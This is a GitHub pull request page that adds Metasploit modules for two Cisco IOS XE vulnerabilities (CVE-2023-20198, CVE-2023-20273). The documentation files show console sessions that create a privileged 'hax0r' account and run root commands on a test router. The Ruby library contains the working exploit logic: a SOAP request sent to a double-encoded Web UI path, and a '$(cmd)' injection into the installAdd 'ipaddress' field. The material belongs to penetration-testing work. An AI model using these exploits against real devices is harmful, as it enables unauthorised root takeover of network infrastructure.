Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit & Auxiliary modules for CVE-2023-20198 and CVE-2023-20273 (Cisco IOS XE) #18507

Merged
merged 13 commits into from
Nov 8, 2023
Merged
Show file tree
Hide file tree
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
## Vulnerable Application
This module leverages CVE-2023-20198 against vulnerable instances of Cisco IOS XE devices which have the
Web UI exposed. An attacker can execute arbitrary CLI commands with privilege level 15.

By default [CLI commands](https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/02_cisco_ios_hierarchy.htm)
are run in the Global configuration mode. To drop down to Privileged EXEC mode, you can preface your command
with the `exit` keyword followed by an (escaped) newline, e.g. To run the command `show version` in Privileged
EXEC mode, the CMD must be `exit\\nshow version`. To drop to User EXEC mode you can preface your command with
two `exit` keywords, e.g. `exit\\nexit\\nshow ip interface brief`. To run a command in Global configuration
mode, just set the `CMD` option to the command you want to run, e.g. `username hax0r privilege 15 password hax0r`.

The vulnerable IOS XE versions are:

16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW

## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:

* Acquire a hardware device running one of the vulnerable firmware versions listed above.

Or

* Setup a virtualized environment.
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows)
to install GNS3 and the [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn
how GNS3 can be used.
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
* Create a new CSR1000V instance as a QEMU device.
* The CSR1000V device's first ethernet adapter `Gi1` should be connected to a Cloud device, who's adapter was bridged
sfewer-r7 marked this conversation as resolved.
Show resolved Hide resolved
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
be accessible to a remote attacker.

## Verification Steps
1. Start msfconsole
2. `use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set CMD "username hax0r privilege 15 secret hax0r"`
5. `run`
6. Visit `https://<TARGET_IP_ADDRESS>/webui/` in a browser and log in with username `hax0r` and password `hax0r`.

## Scenarios

```
msf6 > use auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set RHOST 192.168.86.57
RHOST => 192.168.86.57
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > set CMD "exit\\nshow version"
CMD => exit\nshow version
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > show options

Module options (auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD exit\nshow version yes The Global configuration CLI command to execute. To drop to Privileged EXEC mode, preface your CMD with exit\\n, e.g "exit\\nshow version"
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run
[*] Running module against 192.168.86.57


Cisco IOS XE Software, Version 16.12.03
Cisco IOS Software [Gibraltar], Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 16.12.3, RELEASE SOFTWARE (fc5)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Mon 09-Mar-20 21:50 by mcpre
Cisco IOS-XE software, Copyright (c) 2005-2020 by cisco Systems, Inc.
All rights reserved. Certain components of Cisco IOS-XE software are
licensed under the GNU General Public License ("GPL") Version 2.0. The
software code licensed under GPL Version 2.0 is free software that comes
with ABSOLUTELY NO WARRANTY. You can redistribute and/or modify such
GPL code under the terms of GPL Version 2.0. For more details, see the
documentation or "License Notice" file accompanying the IOS-XE software,
or the applicable URL provided on the flyer accompanying the IOS-XE
software.
ROM: IOS-XE ROMMON
router uptime is 3 hours, 59 minutes
Uptime for this control processor is 4 hours, 2 minutes
System returned to ROM by reload
System image file is "bootflash:packages.conf"
Last reload reason: reload
This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.
A summary of U.S. laws governing Cisco cryptographic products may be found at:
http://www.cisco.com/wwl/export/crypto/tool/stqrg.html
If you require further assistance please contact us by sending email to
[email protected].
License Level: ax
License Type: N/A(Smart License Enabled)
Next reload license Level: ax
Smart Licensing Status: UNREGISTERED/No Licenses in Use
cisco CSR1000V (VXE) processor (revision VXE) with 1113574K/3075K bytes of memory.
Processor board ID 9OVFUOGPESO
4 Gigabit Ethernet interfaces
32768K bytes of non-volatile configuration memory.
3012164K bytes of physical memory.
6188032K bytes of virtual hard disk at bootflash:.
0K bytes of WebUI ODM Files at webui:.
Configuration register is 0x2102

[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) > run CMD="exit\\nshow clock"
[*] Running module against 192.168.86.57


*15:24:05.110 UTC Fri Nov 3 2023
[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_cli_exec_cve_2023_20198) >
```
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
## Vulnerable Application
This module leverages both CVE-2023-20198 and CVE-2023-20273 against vulnerable instances of Cisco IOS XE
devices which have the Web UI exposed. An attacker can execute arbitrary OS commands with root privileges.

This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user,
CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read
back via the webserver. Finally the output file is deleted and the admin user is removed.

The vulnerable IOS XE versions are:

16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4,
16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2,
16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4,
16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9,
16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b,
16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b,
16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a,
16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1,
16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g,
16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s,
16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s,
16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5,
16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10,
17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v,
17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z,
17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7,
17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b,
17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,
17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,
17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,
17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,
17.11.99SW

## Testing
This module was tested against IOS XE version 16.12.3. To test this module you will need to either:

* Acquire a hardware device running one of the vulnerable firmware versions listed above.

Or

* Setup a virtualized environment.
* A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device
can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows)
to install GNS3 and the [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn
how GNS3 can be used.
* A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`.
* When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices.
* Create a new CSR1000V instance as a QEMU device.
* The CSR1000V device's first ethernet adapter `Gi1` should be connected to a Cloud device, who's adapter is bridged
sfewer-r7 marked this conversation as resolved.
Show resolved Hide resolved
to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to
be accessible to a remote attacker.

## Verification Steps
1. Start msfconsole
2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set CMD "id"`
5. `run`

## Scenarios

```
msf6 > use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set RHOST 192.168.86.57
RHOST => 192.168.86.57
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set CMD "id"
CMD => id
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options

Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273):

Name Current Setting Required Description
---- --------------- -------- -----------
CMD id yes The OS command to execute.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands output file.
RHOSTS 192.168.86.57 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run
[*] Running module against 192.168.86.57

[*] uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0

[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run CMD="uname -a"
[*] Running module against 192.168.86.57

[*] Linux router 4.19.64 #1 SMP Wed Dec 11 10:30:30 PST 2019 x86_64 x86_64 x86_64 GNU/Linux

[*] Auxiliary module execution completed
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run CMD="cat /etc/release"
[*] Running module against 192.168.86.57

[*] # Needed for open-vm-tools
# Copyright (c) 2016 by Cisco Systems, Inc., All rights reserved.
DISTRIB_ID=Cisco
DISTRIB_RELEASE=3.10.84
DISTRIB_CODENAME=IOS-XE
DISTRIB_DESCRIPTION="Monte Vista Linux"

[*] Auxiliary module execution completed
sfewer-r7 marked this conversation as resolved.
Show resolved Hide resolved
msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) >
```
82 changes: 82 additions & 0 deletions lib/msf/core/exploit/remote/http/cisco_ios_xe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,82 @@
module Msf
module Exploit::Remote::HTTP::CiscoIosXe

# Leverage CVE-2023-20198 to run an arbitrary CLI command against a vulnerable Cisco IOX XE device.
def run_cli_command(cmd, username = 'vty0')

# As we place the cmd in CDATA, we cannot have hte closing tag in the command.
sfewer-r7 marked this conversation as resolved.
Show resolved Hide resolved
if cmd.include? ']]>'
print_error("CLI command contain bad sequence ']]>'.")
return nil
end

xml = %(<?xml version="1.0"?>
<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP:Header>
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
<wsse:UsernameToken SOAP:mustUnderstand="false">
<wsse:Username>#{username}</wsse:Username>
<wsse:Password>*****</wsse:Password>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
<wsse:Password>*****</wsse:Password>
<wsse:Password>#{Rex::Text.rand_text_alpha(8)}</wsse:Password>

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The string ***** comes from how the Cisco Lua code expects to pass the password, and a comment in the Lua code notes its purpose:

-- Mask the password. It is for audit purposes only and it doesnt use it for authentication
FString  = string.gsub(FString,"#password","*****")

With this in mind I don't think we should change the string to a random alpha text. It makes more sense to leave it as the expected value.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wow, amazing. In a bad way. But still, amazing.

</wsse:UsernameToken>
</wsse:Security>
</SOAP:Header>
<SOAP:Body>
<request correlator="#{Rex::Text.rand_text_alpha(8)}" xmlns="urn:cisco:wsma-config">
<configApply details="all" action-on-fail="continue">
<config-data>
<cli-config-data-block><![CDATA[#{cmd}]]></cli-config-data-block>
</config-data>
</configApply>
</request>
</SOAP:Body>
</SOAP:Envelope>)

res = send_request_cgi(
'method' => 'POST',
'uri' => '/%2577ebui_wsma_https',
'data' => xml
)

return nil unless res&.code == 200

xml_doc = Nokogiri::XML(res.body)

xml_doc.remove_namespaces!

result = ''

xml_doc.xpath('//Envelope/Body/response/resultEntry/text').each do |val1|
result << val1.content.gsub(/^\*\*CLI Line # \d+: /, '')
end

result
end

# Leverage CVE-2023-20273 to run an arbitrary OS command against a vulnerable Cisco IOX XE device.
def run_os_command(cmd, admin_username, admin_password)
# https://blog.leakix.net/2023/10/cisco-root-privesc/ reports that on version 17.* 'installMethod' is now 'mode'.
# We pass both to satisfy either version.
json = %({
"installMethod": "tftp",
"mode": "tftp",
"ipaddress": "#{Rex::Text.rand_text_hex(4)}:#{Rex::Text.rand_text_hex(4)}:#{Rex::Text.rand_text_hex(4)}:$(#{cmd})",
"operation_type": "SMU",
"filePath": "#{Rex::Text.rand_text_alpha(8)}",
"fileSystem": "flash:"
})

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('webui', 'rest', 'softwareMgmt', 'installAdd'),
'headers' => {
'Authorization' => basic_auth(admin_username, admin_password)
},
'data' => json
)

return false unless res&.code == 200

true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return false unless res&.code == 200
true
return res&.code == 200

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

good catch, thanks. resolved via 7024d4e (the trailing return can be removed also)

end
end
end
Loading